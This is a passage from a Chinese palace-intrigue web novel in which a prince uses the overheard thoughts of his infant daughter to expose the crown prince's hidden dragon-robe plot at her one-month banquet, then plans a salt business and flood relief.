“雍王殿下,边关将士浴血奋战,保家卫国。若因粮草不继导致边关有失,恐非社稷之福啊!殿下身为皇族,确当以身作则。”
书房内的气氛瞬间变得紧张起来。
姜肃正欲为自己分辨,再周旋一番,姜稚清脆的心声再起响起。
【啧啧啧,这俩人一看就狼狈为奸,想联手把我爹爹搞破产!】
【太子贪墨的河道款项,至少有三十万两。如今这么咄咄逼人,一看就是打击报复!这是想先从财政上给爹爹脸色看!】
贪墨河道款项!三十万两!
姜肃心中巨震,随即一股狂喜涌上心头!
他的好稚儿,终是送来了破局的关键!
姜肃脸上原本为难的神色,瞬间转化为一种混合着委屈却又强忍着的复杂表情。
似是犹豫再三,终于下定决心一般,毅然决然地抬起头看向皇帝,声音中夹杂着为难:
“父皇明鉴!并非儿臣吝啬,实在是儿臣想到一事,不知从何开口。”
皇帝闻言挑眉:“哦?何事?”
姜肃立马跪下叩首道:
“儿臣…近日偶然听闻一些市井流言,是关于去年河道赈灾款。百姓之间流传说…赈灾款项似有亏空。而导致亏空之人,似是当朝权贵...”
太子脸色微变,厉声喝道:“肃王弟!休得胡言!赈灾款项乃是户部和工部共同监管,岂容你听信市井流言妄加揣测!”
谢太师在一旁也是微微蹙起了眉头。
皇帝的眼神也愈发锐利起来,他盯着伏在地上的姜肃,缓缓道:“肃儿,流言从何而起?可有实证?”
【怎么没有实证!如果我没记错的话,这笔银子现在应该还藏在太子某个外戚的别苑里。这可是三十几万两啊!如果一千两放一个木箱,满打满算要放三十个啊!】
【而且,皇爷爷这口气,明显就是对贪墨的事情有所察觉。如果爹爹这时候说,愿意为江山社稷,为了前线将士**调查。这忠君爱国的人设岂不是也立起来了!】
姜稚想到这儿,不禁激动起来,小手在空中不停地挥舞着。
姜肃听到女儿的心声,再看着太子的反应,心中把握更大了。
他继续诚恳地说道:“儿臣现在并无实证。但儿臣以为,空穴来风,未必无因。如今北疆军情紧急,若真能追回部分款项,于国于民皆是大利。”
说到这儿,姜肃将身子伏得更低,语气
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中满是孤注一掷:
“儿臣自知人微言轻,但儿臣愿以自身爵位担保,恳请父皇下旨让儿臣彻查此事!若追回款项,解了北疆之困,儿臣便是倾家荡产,也是心甘情愿!”
【爹爹这招妙啊!先是以退为进,顺手点出河道贪墨的可能,接着再摆出忠心为国,不惜一切的姿态…】
【这套组合拳打下来,瞬间就把刚刚被逼捐赠家产的矛盾点,转变为主动为国分忧上了…】
【爹爹,干得漂亮!道德制高点是咱们的了!】
姜稚在心中给自己老爹的变现点了个赞。
一旁的太子已经脸色发青,胸口剧烈起伏着。
此刻的他一时间竟不知如何应对。总不能站出来反驳雍王,阻止追查贪墨吧?那岂不是不打自招?
皇帝沉默了片刻,目光在太子和雍王之间扫过,最终淡淡道:
“此事,朕自有计较。既然国库空虚,那么北疆军饷,朕会从内帑先拨付一部分应对。至于贪墨流言…”
皇帝看向太子,眼神深邃,“诚儿,你是太子,此事关乎朝廷颜面和国库根基,朕便交由你督办。你务必要给朕和满朝文武一个清楚的交代!”
太子心头一紧,感觉自己已经被架在火上,只能硬着头皮躬身领旨:“儿臣…遵旨!”
皇帝与几人闲话几句家常后,便带着太子和谢太师离开了雍王府。
直到送走皇帝他们,姜肃才发觉自己后背早已被冷汗浸湿。
今夜真是好险!
若非有稚儿心声的提醒,他今日恐怕就要落入太子的圈套。
届时,不仅家底会被掏空,恐怕还会在父皇心中留下自私的印象。
而如今,他不仅全身而退,还成功在父皇心中埋下了一根关于贪墨的刺。
想必接下来的一段时间,他这位太子皇兄都要忙着“灭火”,应付父皇的质询了。
姜肃抬头,望向雍王府上的夜空,心中充满了感激和庆幸,还有一丝被“小棉袄”保护了的奇异感觉。
他的安宁郡主,果然是他的福星!他必定倾尽所有去保护这件“珍宝”。
而此刻,回到听竹轩的小团子姜稚,咋咋嘴,睡得正是香甜。
第7章 满月宴,众人齐聚
时光荏苒,转眼一个月过去,马上就要到安宁郡主姜稚的满月之期。
在这一个月时间里,雍王府外松内紧,防住了几波来自东宫不怀好意的探视。
雍王妃林月瑶身体已经基本康复,气色逐渐红润,比之前更添几分柔美风韵。
姜稚也像是吹气球般长开了些,越发白嫩可爱。
黑葡萄似的大眼睛一直滴溜溜地转着,好奇打量着周围的一切。
而雍王姜肃,也在一直不停忙碌着。
看似是在忙着筹备爱女的满月宴,实则大半心思都放在之前从女儿那里听来的两件惊天秘闻上。
城西永乐坊的监视一直在继续。
近来,他们终于发现一家名为“锦绣轩”的绸缎庄有异常。
那家绸缎庄,后院守卫森严,不仅常有工匠模样的人在夜间出入,而且运送的货物也不似寻常,看起来比一般绸缎要更沉重一些。
但更具体的证据,尤其是那本关乎龙袍的账本,尚未找到。
而南郊的清水洼,姜肃也派了另一波绝对心腹,伪装成管家模样,以勘察收购荒地、建设庄园为由,暗中开始观察。
前几日传来消息,清水洼地在深挖数尺后,确实发现了不同于普通盐碱土的矿层迹象。
他已命人取了部分矿土,送到有经验且信得过的盐务官那里去确认。
此刻的姜肃感觉心中火热。
若清水洼真是易开采的盐矿地,那对自己的将来,是何等巨大的底气!
这日,雍王姜肃正在核对第二日要举行的满月宴流程和宾客名单。
一旁的姜稚在林月瑶的逗弄下,发出“咯咯”的笑声。
姜肃仔细浏览着名单,目光在“太子姜诚”和“窦贵妃”这两个名字上停留片刻,朝一旁的福伯吩咐道:
“明日稚儿的满月宴,父皇无法到场。届时窦贵妃会代表父皇前来。府内守卫再加一倍,尤其是入口的酒水食物要再查验一番,绝不能出任何纰漏!”
【哇!明天就是我的满月宴了!听说京城有头有脸的人都会来参加哪!希望太子那个坏蛋别又搞什么幺蛾子。】
【不过,按照言情小说里的套路,这种场合不就是反派打脸的最佳舞台吗?嘿嘿,有点小期待是怎么回事!】
【这个窦贵妃也来呀!这人仗着皇帝爷爷的宠爱,偷偷摸摸跟太子眉来眼去的,真当别人是瞎子?他们那点龌龊事,野史里可是写得明明白白!】
姜稚的心声带着点看热闹不嫌事大的兴奋,让姜肃不禁有些哭笑不得。
但听到女儿对窦贵妃和太子之间关系的鄙夷,让姜肃眼神微冷起来。
窦贵妃与太子…
此前,他对此事并非毫无察觉,但想到对方是自己敬重的太子皇兄,他不愿将这种皇家丑闻与太子联系在一起。
如今被女儿明白地点破,更是坚定了他要扳倒太子的决心!
随后,姜肃压低声音,继续跟福伯吩咐道:
“让我们的人,时刻注意太子及其随从的动向。特别是...看看他们的人有没有想试图接近书房等地。另外,留意窦贵妃与太子之间有无异常接触。去吧。”
福伯心领神会:“老奴明白。”
……
翌日,雍王府张灯结彩,宾客盈门。
皇帝虽未亲至,但窦贵妃代表皇上前来,已是天大的恩宠。
太子姜诚,其他几位皇子公主,朝中重臣,世家勋贵…
几乎整个大晟王朝的权力顶层都**于此,给足了这位新晋“安宁郡主”面子。
当然,这面子有多少是冲着小郡主姜稚本人,又有多少是抱着看雍王与太子如何继续角力的心思,就不得而知。
能在朝廷混的人,哪个不是人精?
大家都或多或少听说了雍王和太子之间近来发生的事情。
之前的雍王一向是低调行事、为人温和,一心跟随太子的脚步。
而现如今,从明面上看,雍王是为了妻女与太子闹掰,但这其中到底是何缘故,众人也是雾里看花,摸不着头脑。
这次参加安宁郡主的满月宴,众人也是想对二人的真实关系窥探一二。
满月宴设在王府花园。
众人觥筹交错
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,席间丝竹悦耳。
雍王姜肃一身亲王常服,携着已经恢复光彩的王妃林月瑶,抱着今日的小主角姜稚,周旋于宾客之间,言笑晏晏,应对得体。
姜稚穿着大红色的袄裙,戴着缀有明珠的虎头帽,打扮得像个玉雪团子。
此刻她精神头十足,黑亮的大眼睛骨碌碌地转着,偶尔“咿呀”两声,白嫩的小手指指点点。
这幅机灵可爱的模样,引得不少女眷心生喜爱,连连夸赞。
【哇!好多人!这金光闪闪的首饰一扎堆,快闪瞎我的眼了!】
【这就是古代顶级权贵的社交场合吗?果然奢靡!】
【那个坐在上首,笑的假惺惺的就是窦贵妃吧?果然是个美人。怪不得能把皇帝爷爷迷得五迷三道的。可惜啊!是个心肠歹毒的美人!】
【看看,看看!她跟太子拉丝的眼神,都快拉成蜘蛛网了!这是生怕别人看不出来他俩有一腿吗?】
姜稚的心声如同最犀利的点评,清晰地在雍王姜肃的脑海中响起,语气中充满了十足的嘲讽。
姜肃借着敬酒的方向,顺势望去。
窦贵妃正仪态万千地接受着命妇们的奉承,笑容温婉。
只是端杯浅酌间,眼波流转,在不经意的时刻会与下首的太子有一个极其短暂、却难掩情谊的眼神交汇。
虽然只是一闪而逝,但落在姜肃此刻有心观察的眼中,两人的关系确实已昭然若揭。
姜肃心中冷笑,面上对二人依旧恭敬有加。
一旁一直等着看热闹的众人,见太子脸上一直挂着温和的笑意,甚至几次主动与雍王寒暄。
二人之间,丝毫没有传闻中的剑拔**张,针锋相对。
似乎之前只是兄弟之间闹了一点不愉快,而今已经全部烟消云散。
再看太子当众送给小郡主的满月礼,那是一尊尺余高的观音玉雕。
玉质温润,雕工精湛。
据说还请高僧开过光。
价值连城不说,更是寓意吉祥。
大家见此,便歇了看热闹的心,满月宴的气氛也更加热闹起来。
第8章 玉观音碎,显露惊天秘密
满月宴上,大家酒意正酣。
这边,雍王姜肃面上堆起感激的笑容,从太子手中郑重地接过玉观音,吩咐下人小心收好。
而姜稚却皱起小小的秀眉,拼命回想着书中的情节。
【太子今天装得挺像那么回事嘛!但他怎么突然这么大方,送我这么贵重的礼?这明显是黄鼠狼给鸡拜年嘛!】
【不对啊!按剧情,他这时候应该已经快被私铸龙袍的事情逼得狗急跳墙,开始找替罪羊顶罪了!难道是我记错了?】
姜稚心里充满了怀疑。
【这玉观音…我想起来了!那个私铸龙袍的绸缎庄,前身就是一个玉器雕刻工坊。那里最初,还是以给窦贵妃雕琢祈福玉像为名设立的呢!】
【这尊观音,不会也是出自那个绸缎庄的手笔吧?那太子送这个东西,是几个意思?总不会是想炫耀自己财大气粗吧!】
而这边,姜肃听到女儿的这些话,心中警铃大作!
原来如此!
这尊观音像,竟有可能跟龙袍工坊有关?
那它绝对不是一件简单的礼物!
难道太子已经知道自己在秘密调查他?
那他此举,是警告?亦或是笃定自己什么都查不到,以此来混淆视听?
此刻正是正午时分,阳光从雕花窗棂的缝隙里斜斜照进来,敲好落在桌案上那尊玉观音身上。
而那玉观音被太阳一照,腰身往下竟然泛起一点幽青。
这一变化,被眼尖的姜稚捕捉到了。
她以为是自己眼花了,奋力伸出自己藕节似的胳膊,借着手舞足蹈的劲头,将整个胳膊探进光柱中,像搅动河水一般,来回扫荡。
几番测试下来,姜稚发现,这尊玉观音在阳光透射下,它的底部颜色,确实不均匀。
【这玉观音底座颜色好像不太对啊,跟玉身上半部分的温润不太一样,看起来要暗沉得多。倒更像是后来拼接上去的。这里面…不会有夹层吧?】
姜肃听了,心头大惊,立刻对福伯使了个眼色,准备让他暗中对玉观音探查一番。
而姜稚这边,说时迟那时快,在她心声落下的瞬间,她装作自己仿佛被什么吓到一般,“哇”的一声大哭起来。
接着,小胳膊小腿合力一蹬,恰好蹬在了抱着她的奶嬷嬷手臂上。
奶嬷嬷猝不及防,身子一歪,整个手臂大力撞到了旁边放着玉观音的案几上。
“哎呀!”
紧接着,奶嬷嬷惊呼一声,连忙稳住身形,下意识抱紧了姜稚。
但案几已经在奶嬷嬷的撞击下,剧烈摇晃了几下。
案几上的那尊玉观音晃了晃,最终不负众望地倒下。
底座边缘也在案几棱角上重重地磕了一下。
“咔嚓!”一声轻微的、几乎难以察觉的脆响。
声音虽然很小,但这声音在一直密切关注着玉观音的姜肃,和附近几个耳目聪慧的侍卫听来,却清晰无比!
姜肃胸膛剧烈起伏着!
稚儿刚刚的心声,加上这突如其来的“意外”,让他瞬间好像抓住了什么!
姜肃一个箭步上前,假意训斥起奶嬷嬷的不当心。
在关心女儿是否受伤的空档,目光也锁定在了那尊玉观音的底座边缘。
细瞧下,玉观音的底座附近,竟然有了一道细微的、新产生的裂纹!
而裂纹处,竟隐约可见非玉质的填充物!
“怎么回事?”
太子姜晟的声音里夹带着一丝紧张,随后也快步走了过来。
【这玉观音果然有猫腻!这底座里面有东西!太子这是把什么要命的东西藏在这里面了?】
【他这招也太毒了!如果没人发现,这尊被储君亲自送来,并且‘开了光’的观音,定会被爹爹供奉起来。毕竟谁也不会想到,太子会往里面藏东西!】
【如果将来东窗事发,太子甚至可以反咬一口,说是我们雍王府自己藏的!顺手把自己做的坏事,全部赖到爹爹头上!这样不仅找到了背锅侠,还稳住了他自己的地位。毕竟东西已经过了我们雍王府的手!】
【说到背锅…这玉观音里藏的,不会是私铸龙袍的证据吧!这该死的太子,果然还是想推爹爹当替罪羊!
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简直丧尽天良啊!】
【也不知道爹爹有没有注意到玉观音的底座有问题,可千万别让太子的阴谋成功啊!】
姜稚生怕爹爹真的没有注意到玉观音的问题,“咿咿呀呀”地呼喊同时,小手拼命舞动着,试图吸引姜肃的视线。
而姜稚带着后怕和愤怒的心声,早就彻底点醒了姜肃!
原来如此!
太子打的竟是这个主意!
真是岂有此理!
将这些乱七八糟的东西藏在送给稚儿的礼物里,无论将来是作为栽赃的伏笔,还是仅仅为了将其转移出东宫这个可能被搜查的地方,都是一石二鸟的毒计!
虽说满月宴人多眼杂,是他转移东西的最佳时机,但一想到利用自己心爱女儿当幌子,姜肃感觉自己的拳头都硬了,恨不能上去给太子几拳!
他绝不会让太子得逞!
姜肃脸上瞬间布满比太子更“惊怒”和“惶恐”的表情。
他指着那玉观音底座的裂缝,声音不大,却足以让附近的几位宗室重臣听见:
“皇兄,这…这观音像的底座,怎会如此脆弱?而且这裂缝里的…似乎不是玉石!”
姜肃一副手足无措,完全不知情的样子,完美地扮演了一个受害者的角色。
而姜肃这话一出,太子的脸色“唰”地变了,眼神中闪过慌乱,然后又强自镇定道:
“三弟何出此言?不过是意外磕碰罢了。”
“这玉器娇贵,磕碰后有些裂缝也是常事。这尊观音既然已经出现瑕疵,那孤就先拿回去,改日再送上一尊比这个更好的!”
说罢,太子就想上前,准备将玉观音收起来。
“常事?”
姜肃在众人还没反应过来前,挡住太子上前的脚步,接着猛地伸手,沿着那裂缝用力一掰!
“咔哒!”
一声更清晰的脆响后,那底座的一小块竟然被掰了下来,露出了里面中空的夹层,以及一卷被油纸紧紧包裹的细小物件。
全场瞬间死寂!
所有人的目光,都紧紧盯着藏在玉观音里面的东西上。
第9章 秘密揭露,龙袍惊雷
满月宴上。
大家看到玉观音里竟然藏着东西,现场先是一片死寂,紧接着就议论纷纷起来。
【哇!太子的大型社死现场来了!这个场面可不能错过。可惜我还小,要不然就可以搬着小凳,磕着瓜子,来吃这个大瓜了。】
姜稚黑亮亮的大眼睛瞪得圆圆的,紧紧盯着父亲的方向,生怕错过什么细节。
【话说回来,我这个最强辅助都出手了,也就没什么可担心的。剩下的就看爹爹的临场发挥了。】
姜稚口中“咿咿呀呀”地喊着一些别人听不懂的字眼,但心声却一字不落的落在了姜肃的耳朵里。
稚儿说得没错,真的是多亏了她才发现太子的阴谋。
姜肃调整好心绪,全身心投入到跟太子的斗智斗勇中。
既然太子出手在先,那就别怪自己不念多年的兄弟之情!
姜肃反复告诉自己,这件事一定要处理得完美,绝对不能让女儿对自己失望。
此时,窦贵妃站了起来,俏脸含霜:“这到底是怎么回事?”
而这边,太子看到玉观音里面的东西暴漏,已经面无人色,下意识地就想冲上来抢夺,却被眼尖的姜肃一把拦住。
“皇兄!这是何物?!”
姜肃“又惊又怒”,声音颤抖,仿佛受到了巨大的冲击,“您送给小女的满月礼中,为何会藏有如此隐秘之物?”
他一边说着,一边迅速而小心地将玉观音中的东西快速取出。
玉观音里藏着的,是个小小的油纸包,入手微沉。
窦贵妃看到这一幕,迅速站了起来。
她脸色难看,但还试图挽回:“雍王!休得无礼!太子本是一片好心,许是工匠不小心…”
“是不是不小心,将这东西打开,一看便知!”
姜肃快速打断窦贵妃的话。
在所有人惊疑不定的目光中,毅然打开了油纸包!
里面是几张写满字的绢帛,以及一小块明黄色的、绣有清晰五爪金龙纹样的布料!
绢帛上所写的,是采购金线、特等蚕丝、御用染料的清单,落款处还赫然盖着太子府的内库印鉴!
而那块明黄色的龙纹布料,在正午的阳光下,正闪烁着刺眼而僭越的光芒!
“这…这是…”
姜肃“惊骇”地连退两步,手中的清单和布料样本“恰好”失手掉落在地,让周围几位重臣都看了个清清楚楚
“太子!你竟敢私铸龙袍!”一位老亲王失声惊呼,胡子都在颤抖。
“没错!证据确凿!这清单和龙纹样本,可都是从太子所赠礼物中当场取出的!”另一位大臣骇然道。
几位大臣的话,如同冷水滴入了滚油,让整个宴会现场瞬间炸开了锅。
满场哗然!
太子竟然私铸龙袍!
这证据...还是在太子亲赠的礼物中掉出来的!
【哎呀!太子还真想把私铸龙袍的罪名按在爹爹身上,让爹爹去当替罪羊!幸亏我发现得及时。这下他可是自食恶果喽。】
【看看我爹爹的现场表现力,真是绝了!】
【这眼眶一红,嘴角一颤,就连退的那两步都是踩点踩得刚刚好!更是把受到兄弟背刺的伤痛表现得淋漓尽致!连我都被带入戏了!】
姜稚对自己爹爹的表现十分满意,忍不住称赞起来。
反观太子姜诚这边。
他的身躯剧烈摇晃着,嘴唇更是哆嗦得连一个字也说不出来。
他此刻的脸色已经不能用惨白来形容,而是死灰般的绝望和疯狂,眼神里更是充满了怨毒。
他怎么也没想到,自己完美的计划,会以这样一种荒诞离奇的方式败露。
太子指着姜肃,目眦欲裂,半晌道,“是你!姜肃!一定是你设计的!是你要陷害孤!”
“孤…孤怎么可能做这种事?”
太子声音嘶哑地喊道,“这玉观音是孤亲自命人打造,绝无可能藏这种违逆的东西。定是有人调包!是有人要害孤!”
他猛地转头看向窦贵妃的方向,仿佛是看到了救星一般,“贵妃娘娘,您最知孤的忠心!孤怎么会做此等大逆不道之事!”
窦贵妃强撑着站稳,顺着太子的话替他辩解,声音还算镇定。
“没错,太子一向仁孝,此事定有蹊跷。玉观音从太子府到雍王府,中间经手之人众多,焉知不是有人趁机栽赃?”
接着,她的目光冷冷地落在雍王身上,语气微冷:“雍王殿下,您这般急于给太子定罪,莫非是早有准备?”
姜肃闻言,眉头紧皱,似是被“冤枉”的
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痛心疾首:
“贵妃此言,岂非颠倒黑白?这玉观音是太子亲赠,本王也是第一次见!而且众目睽睽之下出现此物,何来‘栽赃’之说?”
太子听了怒极反笑,指着姜肃厉声道:
“姜肃!你少在这里装模作样!别以为孤不知道?你早就觊觎东宫之位!你设此毒计,就是想借父皇之手,除掉孤!”
姜肃一脸“震惊”,声音发颤:“皇兄!您…您竟如此血口喷人!稚儿满月,本王满心欢喜,怎会料到您竟在礼物中暗藏私货?您若真无此心,为何这清单上,盖的是您太子府的印鉴?”
太子一时语塞,脸色青白交加,越发语无伦次起来,“那…那印鉴定是有人盗用!孤是清白的!”
【哎呀!太子这波解释实在是太苍白无力了,但凡有点智商的都不会相信。】
【不过这窦贵妃还真是临危不乱,居然还能想到把锅往‘中间经手人’身上甩。啧啧,这应变能力实在太强了。宫里混得久的就是不一样。】
姜肃听了女儿的心声,也在心中冷笑,面上却依旧维持着沉痛和不敢置信的表情。
他没有回答太子的指控,而是捧着那“烫手山芋”般的证据,朝着皇宫方向跪下,声音悲怆:
“父皇!儿臣…儿臣万万没想到,皇兄竟在送给小女的满月礼中暗藏此等逆物!儿臣惶恐!请父皇为儿臣主持公道!”
他将自己摘得干干净净,完全置于受害者的位置。
而在在场的其他人眼中,雍王也确确实实是一个被卷入了无妄之灾的可怜王爷形象。
【爹爹这波操作,简直是‘受害者天花板’!一边跪得比谁都快,一边还能把自己摘得干干净净。太子殿下,您这下怕是真的要凉凉咯。】
姜稚声音里满是大仇得报的畅快。
一旁的窦贵妃绝望地闭上了眼睛。
她明白,事情已经彻底失控了,只能好好想想接下来怎么为太子补救。
很快,御前侍卫统领带着大队人马赶到雍王府。
玉观音里的证据以及太子本人,全部被带走。
一场精心筹备的满月宴,最终以太子私铸龙袍的罪证被当场揭发而告终。
宾客们仓惶散去,每个人脸上还都残留着震惊和后怕。
第10章 爹爹要刷好感度?
太子私铸龙袍一案,如同晴天惊雷,瞬间引爆了整个大晟朝堂。
众目睽睽之下,证据确凿。
言官的奏章如纸片般摞满了皇帝姜桓的龙案。
太子姜诚百般辩解,声称他是遭人陷害,甚至一度攀咬雍王姜肃。
但在那尊他亲手送出的观音像中发现的采购清单,龙纹布料样本,以及太子府印鉴面前,所有的辩解都显得苍白无力。
皇帝震怒!
没有哪个皇帝能容忍自己的儿子,尤其是储君,在自己在位期间,明晃晃地觊觎自己的龙位。
太子的行为,无异于是诅咒自己早死,更是赤裸裸的谋逆!
接下来的数日,整个京城都笼罩在一片肃杀的气氛中。
御林军直接查封了城西永乐坊的锦绣轩。
在锦绣轩中,不仅搜出了数件尚未完工的龙袍半成品,以及许多往来账目,甚至还牵连出了几名工部和户部的官员。
这下对于太子来说,可谓是铁证如山!
元嘉二十三年冬,皇帝颁下了一道圣旨,震惊朝野。
“太子姜诚,身为储君,不思君父之恩,不念臣子之礼。私蓄工匠,暗制龙袍,罪同谋逆!着,废黜姜诚太子之位,贬为庶人,圈禁于宗人府,非诏不得出!”
叱咤朝堂多年的太子姜诚,就此轰然倒台。
朝堂势力进行了一次洗牌。
**羽或下狱,或流放,一时间人人自危。
而曾经被视为太子**的雍王姜肃,因“爱护妻女”与太子反目,更是“意外”揭发了太子谋逆一案,其形象在朝廷中也开始变得微妙起来。
有人说雍王是运气好,傻人有傻福;有人说他是大智若愚,早就看透太子真面目;更有人暗中猜测,安宁郡主的满月宴,本身就是雍王为太子精心设计的局。
但无论如何,经此一事,姜肃彻底摆脱了“太子舔狗”的标签,以一种颇具戏剧性的方式,重新进入了朝廷众臣的视野。
对于雍王揭露太子谋逆一事,皇帝虽未明着褒奖,但还是对雍王在此事上的“受惊”给予了安抚。
不仅如此,皇帝还偶尔召见雍王到御书房询问政事。
种种暧昧的态度,都透露出不同寻常的信号。
而雍王府内,却并未因为太子倒台而放松警惕。
【唉,太子这就完蛋了?感觉有点快啊...】
【不过也是。私铸龙袍...这种在雷区蹦迪的事,哪个皇帝都不能忍。只是不知道太子那些残余势力会不会狗急跳墙?】
【还有那个窦贵妃,肯定恨死爹爹了。以后肯定会给皇爷爷不停地吹枕边风...】
姜稚被林月瑶抱在怀里轻声哄着。
她一边努力尝试抓住母亲垂下的发丝,一边在心里嘀嘀咕咕起来。
姜肃坐在一旁,手里拿着一卷书,看似在阅读,实则是在认真分析女儿的心声。
诚如稚儿所说。
太子虽废,但树大根深,残余势力仍在。
听说窦贵妃曾为太子求情。之后,虽未被明旨处罚,但也渐渐失了圣心,近日更是呆在自己宫内,称病不出。
以颍川谢氏为首的世家集团,在太子倒台过程中,损失不小,态度也变得暧昧不明起来。
更重要的是,父皇年事已高,太子之位空悬,其他成年皇子难免会生出“夺嫡”的心思。
朝局看似平静,实则暗流汹涌。
林月瑶轻轻拍着女儿,柔美的脸上出现少有的忧虑。
虽然她这段时间她一直在静养,但是自己夫君所经受的事情,她还是全都知晓。
她忧心忡忡地看着自家夫君,“王爷,太子虽废,但妾身心里总是不安稳。窦贵妃那边,还有谢太师他们...”
姜肃放下手中的书,缓步走到妻女身边,伸出手,很自然地揽住林月瑶的肩膀,温声劝慰着:
“阿瑶不必过于忧心。兵来将挡。而当下,我最重要的任务,就是好好保护好你跟稚儿。”
说罢,姜肃低头,用指尖轻轻碰了碰女儿嫩呼呼的笑脸,眼神宠溺,“而且,我相信,只要有我们的小福星在,咱们定能逢凶化吉。”
【哎呀!爹爹又戳我的脸!不过看在他这么尽心保护我跟娘亲的份上,就不跟他计较啦!】
姜稚挥舞着小拳头,轻柔地捶在雍王的手上,开心的咿呀几声。
林月瑶被丈夫的话安抚了一些。看着怀里玉雪活泼的女儿,终是露出了笑容。
她将
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头轻轻靠在姜肃肩上:“只要有王爷在,妾身和稚儿也便安心。”
屋内这温馨的一幕落在了刚要进门的福伯眼里,他的老脸上也笑开了花。
他轻咳一声,打断了雍王夫妻间的温存,兴奋地禀报道:
“王爷,清水洼那边已经确认了,确实是盐矿,而且品质极佳,易于开采!”
【原来爹爹早就跟我想到一块去了,竟然也盯上了清水洼那片地。富婆是当不成了,看来我的八字只适合老老实实的当个富二代!】
姜稚心里满是惋惜,听得姜肃忍不住发笑出声。
他精神一振,朝福伯吩咐:“立刻以开垦荒地建造庄园的名义,将那片地全部买下来。手续要快,行动要隐秘。土地到手后,立马招募可靠的人手,开始秘密筹建工坊。”
“是!”福伯领命,接着又道:“王爷,还有一事。北疆有秘信至。”
姜肃接过密封的信函,拆开一看,竟是前段时间安**北疆军中的心腹送来的。
信中详细汇报了北疆的最新局势,以及关于十三皇子姜寒川的消息。
信中称,姜寒川在龙渊军中屡立战功,尤其擅长以少胜多。
他作风悍勇,颇得底层士卒拥戴,如今已经升至校尉。
虽官职不高,却隐隐自成一股势力,而且因其用兵狠辣果决,人称“北疆孤狼”。
【北疆孤狼?这绰号还挺带感嘛!】
【不过北疆那边一直不太平,爹爹前段时间不是还说,大晟国库空虚,朝廷给的粮饷肯定不能及时到位...】
【要是能打通一条稳定的财路支援过去,是不是能提前在这个“孤狼”面前耍点好感度?】
姜稚在母亲怀里扭了扭,心里充满了小算计。
姜肃也是心中一动,他与女儿的想法不谋而合。
支援北疆,刷姜寒川的好感度,这确实是一步妙棋!
若能暗中资助姜寒川,使其更快崛起,未来无论是对抗太子的残余势力,还是震慑世家外戚,都将是一张极强的底牌。
而清水洼的盐矿,正好可以解决银钱的问题。
但如何将盐变成钱,又如何神不知鬼不觉地送到北疆...
这,还是个难题!
第11章 渭河水患,福娃初显才能
雍王姜肃正犯愁。
盐乃官营,私盐贩卖是重罪,他要怎么做,才能合理合法的将盐变成银钱?
王妃林月瑶,看着丈夫刚刚还是喜上眉梢,转而又愁容满面,关切道:“王爷,您没事吧?”
雍王本不想妻子跟着一起操心,低头间瞧见妻子怀中自娱自乐玩得正欢的女儿。
他突然想到,既然女儿知道那么多未来的事,兴许她会有方法帮自己解决这个难题。
接着,姜肃便将自己的困境对着妻子,其实是对着女儿姜稚一五一十的道来。
【爹爹真是死脑筋!其实,这盐未必一定要直接变成钱。】
【北疆苦寒,物资匮乏,尤其缺少过冬的粮食、布匹和药材。】
【盐虽然不能买卖,但也没说不能交换啊!完全可以拿它们去跟江南的富商、药商以物易物。然后通过商队,往北疆运一些交换的物资。】
【多余剩下的物品,届时再进行变现,那岂不是容易得多。】
【而且,爹爹是皇子!组建一个属于自己的商队,也没什么难的吧?这个操作空间很大嘛!】
以物易物!组建商队!
姜肃眼前一亮。
稚儿这想法堪称绝妙!
如此一来,不仅解决了私盐和物资的问题,还能组建一支完全忠于自己的力量,由此彻底渗透到商贸乃至情报领域!
一旁的王妃林月瑶本想出言安慰王爷宽心,但见他的面色已经转阴为晴,多年的夫妻默契让她知道,王爷是想到了解决方法。
她轻轻握住自己夫君的手,语气中满是柔情和信赖,“王爷,放手去做吧!无论如何,妾身都陪着你!”
姜肃回握住林月瑶的手。
妻子的信任,让他的心里更有底气。
姜肃精神振奋,思路也愈发清晰,对着福伯吩咐:“福伯,买下清水洼地皮后,立刻着手两件事。”
“第一,秘密招募流民和可靠的工匠,建立盐矿工坊。对于手艺精湛的老师傅,一定要格外厚待。”
“第二,以王府的名义,注册一个商行。然后,招募一些背景干净,机灵可靠的伙计,开始尝试往江南等地行商。先从合法的布匹、茶叶做起,打通商路。对外就说...是为王妃和郡主买卖一些江南的稀罕物。”
“老奴明白。”福伯领命退下。
虽然不清楚王爷为何突然对经商如此热衷,但福伯深信,自家王爷此举必有深意。
姜肃安排完,回头看见妻子林月瑶还在温柔关切地看着自己,心下更是柔软。
他走过去,一手环住妻子的肩膀,一手帮妻子轻轻托着女儿,“阿瑶,日后或许要辛苦你,帮忙打理一些府外产业的账目了。”
林月瑶温婉一笑,轻轻将头倚靠在姜肃的肩头,“王爷说的哪里话,妾身乐意之至。”
她虽不知具体,但相信丈夫所做一切,都是为了这个家。
二人怀中的姜稚,咿咿呀呀地哼唱着,被迫吃着父母撒给她的狗粮。
此刻,他们谁也不知道,一场突如其来的天灾,将会把姜稚正式推向台前。
......
接连数日暴雨,京畿地区河道水位暴涨。
位于京城外以南的渭河,有一段堤坝年久失修,暴雨中不堪重负,轰然决口。
洪水瞬间肆虐,淹没良田房屋无数,数以千计的百姓流离失所,哀鸿遍野。
消息传回京城,朝野震动。
皇帝紧急召集群臣商议赈灾事宜。
工部上报的修复堤坝所需银两,简直是一个天文数字。
而国库因为之前北疆军饷和接连发生的事情,早已经入不敷出。
不用说修复堤坝了,就连赈灾口粮都难以筹措到位。
朝堂之上,大家争论不休。
世家官员们互相推诿,强调困难;寒门官员人微言轻,心急如焚却又无计可施。
皇帝看着底下吵成一团的臣子,脸色阴沉得能滴出水来。
在责令众臣明日必须想出解决办法后,便气冲冲地回了御书房。
下朝后的姜肃,回到雍王府之后,心中仍感焦急。
他深知水患无情,每拖延一刻,便可能有更多的百姓丧生。
姜肃的愁容,落在了一旁正在软垫上玩耍的姜稚眼中。
其实在爹爹姜肃回来之前,姜稚已经或多或少从照看她的奶嬷嬷和其他仆人口中,听说了水患的事情。
【这渭河决堤,书里也提到过,灾情确实挺严重的。而且因为赈灾不力,后来还引发了小规模的民变。】
【其实,要解决灾情困境也不难,关键是方法和效率。】
原本愁容满面的雍王,听到女儿有办法,耳朵瞬间竖了起来,还拿出了
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小本本,准备认真记录一下重点。
【首先,赈灾不能光等着朝廷那点钱粮,还要发动民间力量。爹爹可代表朝廷出面,号召京城富商捐钱捐物,然后给捐的多的发个“荣誉皇商”的匾额之类的东西。】
【在满足这些人虚荣心的同时,并许诺以后在生意上给点政策优惠。这些有钱人有了皇室保证,肯定是乐意出点血的。】
【其次,灾民安置是关键。不能让他们总是无所事事地聚在一起,太容易出事了!】
